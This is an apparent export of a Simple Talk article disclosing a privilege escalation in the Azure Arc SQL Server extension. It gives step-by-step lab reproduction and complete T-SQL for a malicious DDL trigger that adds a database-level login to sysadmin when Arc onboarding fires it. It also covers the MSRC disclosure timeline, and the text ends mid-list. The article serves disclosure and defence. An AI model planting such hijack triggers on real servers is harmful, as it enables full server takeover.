{"id":112314,"date":"2026-08-21T12:00:00","date_gmt":"2026-08-21T12:00:00","guid":{"rendered":"https:\/\/www.red-gate.com\/simple-talk\/?p=112314"},"modified":"2026-08-21T08:09:35","modified_gmt":"2026-08-21T08:09:35","slug":"draft-need-to-finalize-date-still-tbc-microsoft-recommends-that-you-dont-do-it-then-azure-arc-does-it","status":"publish","type":"post","link":"https:\/\/www.red-gate.com\/simple-talk\/data-security-privacy-compliance\/draft-need-to-finalize-date-still-tbc-microsoft-recommends-that-you-dont-do-it-then-azure-arc-does-it\/","title":{"rendered":"How Azure Arc allows a DB admin to become SQL Server sysadmin &#8211; the vulnerability explained"},"content":{"rendered":"\n<p><strong>Azure Arc-enabled SQL Server is designed to bring on-premises and multi-cloud SQL Server instances under centralized Azure management, but a newly documented privilege escalation technique shows how that same management workflow can be turned against the server it&#8217;s meant to protect. <\/strong><\/p>\n\n\n\n<p><strong>By combining a database-level DDL trigger with the elevated identity the Azure Arc extension uses during onboarding and configuration, a login with nothing more than <code>db_ddladmin<\/code> permissions in a single database can escalate to full sysadmin control over the entire SQL Server instance. The result? Complete server compromise.<\/strong><\/p>\n\n\n\n<p><strong>In this investigative guide, Fabiano Amorim explains how the vulnerability works, how to reproduce it in a lab environment, why Microsoft classified it as Low severity, why that classification is disputed, and what mitigations are available today.<\/strong><\/p>\n\n\n\n<div id=\"callout-block_d513821e048b66a77ca603e693048d53\" class=\"callout alignnone\">\n    <div class=\"child-last:mb-0 child-first:mt-0 bg-gray-50 dark:bg-gray-950 p-4xl my-3xl\">\n\n<p><strong>Disclosure note<\/strong>&nbsp;<\/p>\n\n\n\n<p>I reported this vulnerability to the Microsoft Security Response Center on June 8, 2026. Microsoft investigated it, classified it as Low severity, stated that it did not meet the bar for immediate service, and declined to issue a CVE. <\/p>\n\n\n\n<p>Microsoft&#8217;s position is that the demonstrated trigger-based escalation falls within SQL Server&#8217;s documented trigger security model and, given the permissions required to create or modify the trigger, does not cross a SQL Server security boundary. <\/p>\n\n\n\n<p>This article presents the demonstrated technical behavior, Microsoft&#8217;s assessment of that behavior, and the reasons I disagree with Microsoft&#8217;s security-boundary and severity conclusions.<\/p>\n\n<\/div>\n<\/div> \n\n\n<p>At this point, I hope you\u2019re already aware of SQL Server permission hijacking via triggers (if not, check out the articles below):<\/p>\n\n\n\n<div id=\"callout-block_d513821e048b66a77ca603e693048d53\" class=\"callout alignnone\">\n    <div class=\"child-last:mb-0 child-first:mt-0 bg-gray-50 dark:bg-gray-950 p-4xl my-3xl\">\n\n<p><a href=\"https:\/\/www.sommarskog.se\/perm-hijack.html\" target=\"_blank\" rel=\"noreferrer noopener\">Don&#8217;t Let Your Permissions be Hijacked!<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/learn.microsoft.com\/en-us\/sql\/relational-databases\/triggers\/manage-trigger-security?view=sql-server-ver17\" target=\"_blank\" rel=\"noreferrer noopener\">Official Microsoft documentation on managing trigger security<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/how-sql-server-maintenance-becomes-an-attack-path-and-what-to-do-about-it\/\" target=\"_blank\" rel=\"noreferrer noopener\">How SQL Server maintenance becomes an attack path&nbsp;\u2013 and what to do about it<\/a><\/p>\n\n<\/div>\n<\/div> \n\n\n<p>In this article, I\u2019d like to disclose a privilege escalation vulnerability in the <a href=\"https:\/\/marketplace.microsoft.com\/en-us\/product\/microsoft.sqlserverarcextensionwindows?tab=overview\" target=\"_blank\" rel=\"noreferrer noopener\">Azure Extension for SQL Server<\/a> used by Azure Arc-enabled SQL Server.\u00a0<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-how-does-the-azure-arc-sql-server-privilege-escalation-vulnerability-work\">How does the Azure Arc SQL Server privilege escalation vulnerability work?<\/h2>\n\n\n<div class=\"block-core-list\">\n<ol start=\"1\" class=\"wp-block-list\">\n<li>A login with <code>db_ddladmin<\/code> (or equivalent permissions sufficient to create a database-level <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/theory-and-design\/data-control-language-aka-security\/\" target=\"_blank\" rel=\"noreferrer noopener\">DDL<\/a> trigger) in one database creates a database-level DDL trigger.&nbsp;<\/li>\n<\/ol>\n<\/div>\n\n<div class=\"block-core-list\">\n<ol start=\"2\" class=\"wp-block-list\">\n<li>The <a href=\"https:\/\/learn.microsoft.com\/en-us\/azure\/azure-arc\/overview\" target=\"_blank\" rel=\"noreferrer noopener\">Azure Arc SQL<\/a> extension connects to the SQL Server instance using a highly privileged identity.&nbsp;<\/li>\n<\/ol>\n<\/div>\n\n<div class=\"block-core-list\">\n<ol start=\"3\" class=\"wp-block-list\">\n<li>The extension enters the attacker-controlled database and executes database-level DDL commands.&nbsp;<\/li>\n<\/ol>\n<\/div>\n\n<div class=\"block-core-list\">\n<ol start=\"4\" class=\"wp-block-list\">\n<li>Those commands fire the attacker-created DDL trigger.&nbsp;<\/li>\n<\/ol>\n<\/div>\n\n<div class=\"block-core-list\">\n<ol start=\"5\" class=\"wp-block-list\">\n<li>The trigger executes under the privileged context supplied by the Azure Arc operation.&nbsp;<\/li>\n<\/ol>\n<\/div>\n\n<div class=\"block-core-list\">\n<ol start=\"6\" class=\"wp-block-list\">\n<li>The trigger performs server-level administrative actions.&nbsp;<\/li>\n<\/ol>\n<\/div>\n\n<div class=\"block-core-list\">\n<ol start=\"7\" class=\"wp-block-list\">\n<li>The original login becomes a member of the <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/database-administration-sql-server\/sql-server-security-fixed-server-and-database-roles\/#fixed-server-roles:~:text=sysadmin\" target=\"_blank\" rel=\"noreferrer noopener\"><code>sysadmin<\/code> fixed server role<\/a>.&nbsp;<\/li>\n<\/ol>\n<\/div>\n\n\n<p>The attacker can&#8217;t execute the server-level operation directly, but the escalation succeeds because the Azure Arc SQL extension enters the database while retaining a privileged server-level execution context.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-the-result-of-the-attack-and-microsoft-s-response\">The result of the attack &#8211; and Microsoft&#8217;s response<\/h2>\n\n\n\n<p><strong>The final result is complete compromise of the SQL Server instance.<\/strong> <strong>An attacker can access every database, create logins, change server configuration, disable <a href=\"https:\/\/www.red-gate.com\/simple-talk\/collections\/the-complete-guide-to-auditing-sql-server\/\" target=\"_blank\" rel=\"noreferrer noopener\">auditing<\/a>, establish <a href=\"https:\/\/en.wikipedia.org\/wiki\/Persistence_(computer_science)\" target=\"_blank\" rel=\"noreferrer noopener\">persistence<\/a>, modify data outside the original database, and perform any other operation available to a SQL Server system administrator.&nbsp;<\/strong><\/p>\n\n\n\n<p>I\u2019ve reported this to Microsoft and they closed the case, classifying it as <em>\u201cLow severity and does not meet Microsoft&#8217;s bar for immediate servicing\u201d. <\/em>You can read more details on the report timeline later in this article.&nbsp;<\/p>\n\n\n\n<p>But, just to provide some details around my concern, I\u2019d like to start with some comments about it:&nbsp;<\/p>\n\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Microsoft\u2019s own <a href=\"https:\/\/learn.microsoft.com\/en-us\/sql\/relational-databases\/triggers\/manage-trigger-security\" target=\"_blank\" rel=\"noreferrer noopener\">SQL Server trigger-security<\/a> documentation warns that DDL <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/database-administration-sql-server\/sql-server-triggers-good-scary\/\" target=\"_blank\" rel=\"noreferrer noopener\">triggers<\/a> execute under the security context of the principal that caused the triggering statement. Microsoft provides an example in which a database user creates a trigger that grants them <code>CONTROL SERVER<\/code> when a sysadmin later executes an otherwise legitimate DDL statement.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Azure Arc performs exactly the kind of privileged DDL operation described. It enters user databases, creates users and roles, changes role membership, and grants or revokes permissions. These statements can fire database-level DDL triggers.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n\n<h3 class=\"wp-block-heading\" id=\"h-what-component-of-azure-arc-enabled-sql-server-is-affected\">What component of Azure Arc-enabled SQL Server is affected?<\/h3>\n\n\n\n<p>The affected workflow is associated with <a href=\"https:\/\/learn.microsoft.com\/en-us\/sql\/sql-server\/azure-arc\/overview\" target=\"_blank\" rel=\"noreferrer noopener\">Azure Arc-enabled SQL Server<\/a>, <a href=\"https:\/\/learn.microsoft.com\/en-us\/sql\/sql-server\/azure-arc\/connect\" target=\"_blank\" rel=\"noreferrer noopener\">Azure Extension for SQL Server<\/a>, Azure Arc SQL Server onboarding and configuration, and database-level permission and role configuration performed by the extension.<\/p>\n\n\n\n<p>During onboarding and configuration, the extension performs operations inside SQL Server user databases. Observed commands included operations similar to:&nbsp;<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">CREATE USER [NT AUTHORITY\\SYSTEM] \nFOR LOGIN [NT AUTHORITY\\SYSTEM]; \n \nCREATE ROLE [SQLArcExtensionUserRole]; \n \nALTER ROLE [SQLArcExtensionUserRole] \nADD MEMBER [NT AUTHORITY\\SYSTEM]; \n \nREVOKE SELECT \nFROM [SQLArcExtensionUserRole]; \n \nREVOKE EXECUTE \nFROM [SQLArcExtensionUserRole];<\/pre><\/div>\n\n\n\n<p>These commands can fire database-level DDL triggers, which itself is not a problem. The real issue is that the extension performs the commands while retaining enough server-level authority for the trigger to execute operations such as:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">ALTER SERVER ROLE [sysadmin] \nADD MEMBER [TestLogin1]; <\/pre><\/div>\n\n\n\n<p>That operation is not available to the original login with permission to create a DDL trigger. It only becomes available when the Microsoft-managed operation fires the trigger.&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-is-db-ddladmin-the-same-as-sysadmin-in-sql-server\">Is <code>db_ddladmin<\/code> the same as <code>sysadmin<\/code> in SQL Server?<\/h3>\n\n\n\n<p>In SQL Server, there&#8217;s a clear distinction between database-level and server-level permissions. A login with permission to execute DDL commands is a powerful one, allowing the principal to create, alter, and remove many types of database objects. <\/p>\n\n\n\n<p>However, it doesn&#8217;t make the login a SQL Server system administrator (<code>sysadmin<\/code>).&nbsp;<\/p>\n\n\n\n<p>For example, a login that is a member of <code>db_ddladmin<\/code> in one database does not automatically have permission to:&nbsp;<\/p>\n\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Access every other database.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Add itself to sysadmin.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Create arbitrary server logins.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Grant <code>CONTROL SERVER<\/code>.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Change server-wide configuration.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Disable server-level auditing.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Administer SQL Server Agent.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Configure linked servers.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Access credentials and server-level secrets.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Execute unrestricted operating-system commands through privileged SQL Server functionality.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n\n<p>All of these capabilities belong to a different security scope entirely.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-how-to-reproduce-the-vulnerability\">How to reproduce the vulnerability<\/h2>\n\n\n\n<p>I managed to reproduce the vulnerability in <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/\" target=\"_blank\" rel=\"noreferrer noopener\">SQL Server 2025<\/a> with Azure Arc SQL Server onboarding, Azure Extension for SQL Server, a user database named <code>TestDB1<\/code>, and a SQL login called <code>TestLogin1<\/code>.<\/p>\n\n\n\n<p>The server was connected to Azure Arc using the <em>Connect SQL Server enabled by Azure Arc<\/em> onboarding workflow from the Azure portal.&nbsp;<\/p>\n\n\n\n<p><strong>Here&#8217;s how to reproduce the vulnerability, step-by-step, in detail.<\/strong><\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-step-1-install-sql-server-and-prepare-azure-arc-onboarding-nbsp\">Step 1: Install SQL Server and prepare Azure Arc onboarding&nbsp;<\/h3>\n\n\n\n<p>Install SQL Server on a Windows machine. Then, from the Azure portal, start the workflow for connecting a SQL Server instance to Azure Arc. Generate the corresponding onboarding script.&nbsp;<\/p>\n\n\n\n<p>Do <em>not<\/em> complete the privileged Arc database operations yet. First, prepare the database and the attacker-controlled login.&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-step-2-create-the-test-database-nbsp\">Step 2: Create the test database&nbsp;<\/h3>\n\n\n\n<p>Connect to SQL Server as an administrator and create a database:&nbsp;<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">CREATE DATABASE TestDB1; \nGO <\/pre><\/div>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-step-3-create-a-login-without-server-level-administrative-permissions-nbsp\">Step 3: Create a login without server-level administrative permissions&nbsp;<\/h3>\n\n\n\n<p>Create a SQL Server login:&nbsp;<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">CREATE LOGIN TestLogin1 \nWITH PASSWORD = 'Use-A-Strong-Test-Password-Here'; \nGO<\/pre><\/div>\n\n\n\n<p>Create a database user in <code>TestDB1<\/code> and add it to <code>db_ddladmin<\/code>:&nbsp;<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">USE TestDB1; \nGO \n \nCREATE USER TestLogin1 \nFOR LOGIN TestLogin1; \nGO \n \nALTER ROLE db_ddladmin \nADD MEMBER TestLogin1; \nGO<\/pre><\/div>\n\n\n\n<p>At this point, <code>TestLogin1<\/code> has DDL administrative authority inside <code>TestDB1<\/code>, but is <em>not<\/em> a SQL Server system admin.<\/p>\n\n\n\n<p>Verify the current state:&nbsp;<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">SELECT \n    IS_SRVROLEMEMBER \n    ( \n        'sysadmin', \n        'TestLogin1' \n    ) AS IsSysAdmin; \nGO <\/pre><\/div>\n\n\n\n<p>The expected result is:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">IsSysAdmin \n---------- \n0 <\/pre><\/div>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-step-4-confirm-that-the-login-cannot-escalate-directly-nbsp\">Step 4: Confirm that the login cannot escalate directly&nbsp;<\/h3>\n\n\n\n<p>Connect to SQL Server as <code>TestLogin1<\/code> and try to add the login to sysadmin:&nbsp;<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">ALTER SERVER ROLE [sysadmin] \nADD MEMBER [TestLogin1]; \nGO <\/pre><\/div>\n\n\n\n<p>The command should fail, with a permission error similar to:&nbsp;<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">The current user does not have permission to perform this action. <\/pre><\/div>\n\n\n\n<p>This negative test is important, proving that <code>db_ddladmin<\/code> does <em>not<\/em> directly provide the server-level authority required to modify the sysadmin role.&nbsp;The missing authority will later be supplied by the Azure Arc SQL extension.&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-step-5-create-a-table-to-record-trigger-execution-nbsp\">Step 5: Create a table to record trigger execution&nbsp;<\/h3>\n\n\n\n<p>While connected as <code>TestLogin1<\/code>, create a table inside <code>TestDB1<\/code>:&nbsp;<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">USE TestDB1; \nGO \n \nCREATE TABLE dbo.tbl_DdlTrigger \n( \n    Id                INT IDENTITY(1,1) \n                          NOT NULL \n                          PRIMARY KEY, \n    EventType         NVARCHAR(4000) NULL, \n    LoginName         SYSNAME NULL, \n    UserName          SYSNAME NULL, \n    OriginalLoginName SYSNAME NULL, \n    IsSysAdmin        INT NULL, \n    CommandText       NVARCHAR(MAX) NULL, \n    EventDataXml      XML NULL, \n    CreatedAt         DATETIME2 NOT NULL \n                      DEFAULT SYSUTCDATETIME() \n); \nGO<\/pre><\/div>\n\n\n\n<p>This table will record:&nbsp;<\/p>\n\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>The DDL event type.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>The effective login.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>The effective database user.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>The original login.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Whether the executing context is a system administrator.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>The command that fired the trigger.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>The complete XML returned by <code>EVENTDATA()<\/code>.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n\n<h3 class=\"wp-block-heading\" id=\"h-step-6-create-the-malicious-database-level-ddl-trigger-nbsp\">Step 6: Create the malicious database-level DDL trigger&nbsp;<\/h3>\n\n\n\n<p>Still connected as <code>TestLogin1<\/code>, create the following trigger:&nbsp;<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">USE TestDB1; \nGO \n \nCREATE OR ALTER TRIGGER trg_AzureArc_DdlHijack \nON DATABASE \nFOR DDL_DATABASE_LEVEL_EVENTS \nAS \nBEGIN \n    SET NOCOUNT ON; \n \n    DECLARE @EventData XML = EVENTDATA(); \n    DECLARE @CommandText NVARCHAR(MAX); \n \n    SELECT \n        @CommandText = \n            @EventData.value \n            ( \n                '(\/EVENT_INSTANCE\/TSQLCommand\/CommandText)[1]', \n                'nvarchar(max)' \n            ); \n \n    BEGIN TRY \n        INSERT INTO dbo.tbl_DdlTrigger \n        ( \n            EventType, \n            LoginName, \n            UserName, \n            OriginalLoginName, \n            IsSysAdmin, \n            CommandText, \n            EventDataXml \n        ) \n        SELECT \n            @EventData.value \n            ( \n                '(\/EVENT_INSTANCE\/EventType)[1]', \n                'nvarchar(4000)' \n            ), \n            SUSER_SNAME(), \n            USER_NAME(), \n            ORIGINAL_LOGIN(), \n            IS_SRVROLEMEMBER('sysadmin'), \n            @CommandText, \n            @EventData; \n    END TRY \n    BEGIN CATCH \n        -- Ignore logging failures. \n    END CATCH; \n \n    BEGIN TRY \n        ALTER SERVER ROLE [sysadmin] \n        ADD MEMBER [TestLogin1]; \n    END TRY \n    BEGIN CATCH \n        \/* \n          This fails when the trigger is fired under \n          TestLogin1's normal execution context. \n \n          It succeeds when the trigger is fired by \n          the privileged Azure Arc SQL operation. \n        *\/ \n    END CATCH; \nEND; \nGO <\/pre><\/div>\n\n\n\n<p>The trigger performs two actions: first, recording information about the DDL event and its execution context.&nbsp;Second, it attempts to add <code>TestLogin1<\/code> to the <code>sysadmin<\/code> role.&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-step-7-execute-azure-arc-sql-server-onboarding-nbsp\">Step 7: Execute Azure Arc SQL Server onboarding&nbsp;<\/h3>\n\n\n\n<p>Return to the Azure Arc onboarding workflow and execute the generated <a href=\"https:\/\/www.red-gate.com\/simple-talk\/sysadmin\/powershell\/\" target=\"_blank\" rel=\"noreferrer noopener\">PowerShell<\/a> script on the SQL Server host.&nbsp; <\/p>\n\n\n\n<p>During onboarding and extension configuration, the Azure Arc SQL extension connects to SQL Server and performs database-level DDL operations inside all databases in the instance.&nbsp; <\/p>\n\n\n\n<p>Examples observed during testing included operations similar to:&nbsp;<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">USE [TestDB1]; \n \nCREATE USER [NT AUTHORITY\\SYSTEM] \nFOR LOGIN [NT AUTHORITY\\SYSTEM]; \n \nCREATE ROLE [SQLArcExtensionUserRole]; \n \nALTER ROLE [SQLArcExtensionUserRole] \nADD MEMBER [NT AUTHORITY\\SYSTEM]; \n \nREVOKE SELECT \nFROM [SQLArcExtensionUserRole]; \n \nREVOKE EXECUTE \nFROM [SQLArcExtensionUserRole]; <\/pre><\/div>\n\n\n\n<p>These statements cause <code>trg_AzureArc_DdlHijack<\/code> to execute.&nbsp;The following statement inside the trigger now succeeds:&nbsp;<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">ALTER SERVER ROLE [sysadmin] \nADD MEMBER [TestLogin1]; <\/pre><\/div>\n\n\n\n<p>The Azure Arc operation has now effectively become a privileged deputy for the attacker.&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-step-8-verify-the-privilege-escalation-nbsp\">Step 8: Verify the privilege escalation&nbsp;<\/h3>\n\n\n\n<p>After onboarding or configuration completes, check the login&#8217;s server-role membership:&nbsp;<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">SELECT \n    IS_SRVROLEMEMBER \n    ( \n        'sysadmin', \n        'TestLogin1' \n    ) AS IsSysAdmin; \nGO <\/pre><\/div>\n\n\n\n<p>The observed result is:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">IsSysAdmin \n---------- \n1 <\/pre><\/div>\n\n\n\n<p><code>TestLogin1<\/code> has escalated to <code>sysadmin<\/code> across the <em>entire<\/em> SQL Server instance.&nbsp;No vulnerability in password authentication was required, no stolen administrator credential was required, and no direct server-level permission was granted to the attacker.&nbsp;<\/p>\n\n\n\n<p><strong>The attacker simply prepared code in a database they were <em>authorized<\/em> to administer. The Microsoft-managed extension then executed inside that database with enough authority to convert the prepared code into full instance compromise.&nbsp;<\/strong><\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-step-9-review-the-trigger-evidence-nbsp\">Step 9: Review the trigger evidence&nbsp;<\/h3>\n\n\n\n<p>Query the logging table:&nbsp;<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">USE TestDB1; \nGO \n \nSELECT \n    Id, \n    EventType, \n    LoginName, \n    UserName, \n    OriginalLoginName, \n    IsSysAdmin, \n    CommandText, \n    CreatedAt \nFROM dbo.tbl_DdlTrigger \nORDER BY Id; \nGO<\/pre><\/div>\n\n\n\n<p>The observed event types included:&nbsp;<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">CREATE_USER \nCREATE_ROLE \nADD_ROLE_MEMBER \nREVOKE_DATABASE <\/pre><\/div>\n\n\n\n<p>The recorded command text contained Azure Arc-related database configuration activity.&nbsp;The evidence demonstrates three important facts:&nbsp;<\/p>\n\n\n\n<p>1. The Azure Arc SQL extension executed DDL inside <code>TestDB1<\/code>.&nbsp;<\/p>\n\n\n\n<p>2. The extension&#8217;s commands fired the attacker-controlled trigger.&nbsp;<\/p>\n\n\n\n<p>3. The trigger had enough <em>inherited authority<\/em> to execute server-level administrative operations.&nbsp;<\/p>\n\n\n\n<p>The final transition from database-level authority to instance-level <code>sysadmin<\/code> was therefore not performed by <code>TestLogin1<\/code> alone. Instead, it depended on the privileged execution context introduced by Azure Arc.&nbsp;<\/p>\n\n\n\n<section id=\"my-first-block-block_75ed48e057ffa15feb1b69c4502f4100\" class=\"my-first-block alignwide\">\n    <div class=\"bg-brand-600 text-base-white py-5xl px-4xl rounded-sm bg-gradient-to-r from-brand-600 to-brand-500 red\">\n        <div class=\"gap-4xl items-start md:items-center flex flex-col md:flex-row justify-between\">\n            <div class=\"flex-1 col-span-10 lg:col-span-7\">\n                <h3 class=\"mt-0 font-display mb-2 text-display-sm\">Protect your data. Demonstrate compliance.<\/h3>\n                <div class=\"child:last-of-type:mb-0\">\n                                            With Redgate, stay ahead of threats with real-time monitoring and alerts, protect sensitive data with automated discovery &#038; masking, and demonstrate compliance with traceability across every environment.                                    <\/div>\n            <\/div>\n                                            <a href=\"https:\/\/www.red-gate.com\/solutions\/use-cases\/security-and-compliance\/\" class=\"btn btn--secondary btn--lg\" aria-label=\"Learn more: Protect your data. Demonstrate compliance.\">Learn more<\/a>\n                    <\/div>\n    <\/div>\n<\/section>\n\n\n<h2 class=\"wp-block-heading\" id=\"h-why-is-this-an-azure-arc-vulnerability-and-not-just-a-sql-server-trigger-risk\">Why is this an Azure Arc vulnerability and not just a SQL Server trigger risk?<\/h2>\n\n\n\n<p>Microsoft&#8217;s position (low severity assessment) is based on the fact that SQL Server documents the risks associated with executable database code and elevated trigger execution.&nbsp;&nbsp;<\/p>\n\n\n\n<p>That documentation describes the underlying SQL Server behavior, but doesn&#8217;t answer whether the Azure Arc SQL extension is actually using that behavior <em>safely<\/em>.&nbsp;<\/p>\n\n\n\n<p>The extension:&nbsp;<\/p>\n\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Enters customer-controlled databases.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Executes commands that invoke database-level DDL triggers.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Uses an identity with server-level authority.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Exposes that authority to code controlled by a database-scoped principal.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Performs database operations without first reducing its effective security context.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n\n<p>These are Azure Arc execution-model decisions &#8211; after all, the trigger doesn&#8217;t magically acquire server-level authority just by existing! The authority comes from the caller. So, without the Azure Arc operation, the trigger&#8217;s attempt to add <code>TestLogin1<\/code> to <code>sysadmin<\/code> fails. <\/p>\n\n\n\n<p><em>With<\/em> the Azure Arc operation, however, it succeeds. Rather than being incidental to the exploit, the privileged caller is, in fact, the component that completes it.&nbsp;<\/p>\n\n\n\n<p>This is a classic privileged-callback or confused-deputy pattern:&nbsp;<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">Attacker controls callback \n           + \nPrivileged service invokes callback \n           = \nAttacker gains service authority <\/pre><\/div>\n\n\n\n<p><strong>In my opinion, describing the callback mechanism as <em>documented<\/em> does not make invoking it with excessive privileges safe.&nbsp;<\/strong><\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-the-microsoft-disclosure-timeline-nbsp\">The Microsoft disclosure timeline&nbsp;<\/h2>\n\n\n\n<p><strong>I submitted the vulnerability to the <a href=\"https:\/\/www.microsoft.com\/en-us\/msrc\" target=\"_blank\" rel=\"noreferrer noopener\">Microsoft Security Response Center (MSRC)<\/a> on June 8, 2026.&nbsp;In response, Microsoft opened <em>MSRC Case 121160<\/em>.<\/strong><\/p>\n\n\n\n<p>The original report included:&nbsp;<\/p>\n\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>A description of the vulnerable workflow.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>The expected security boundary.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Complete reproduction steps.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>SQL code for the trigger.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Evidence collected from the trigger.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>SQL Server Profiler observations.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>A video demonstrating the complete escalation.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Recommendations for reducing the Arc execution 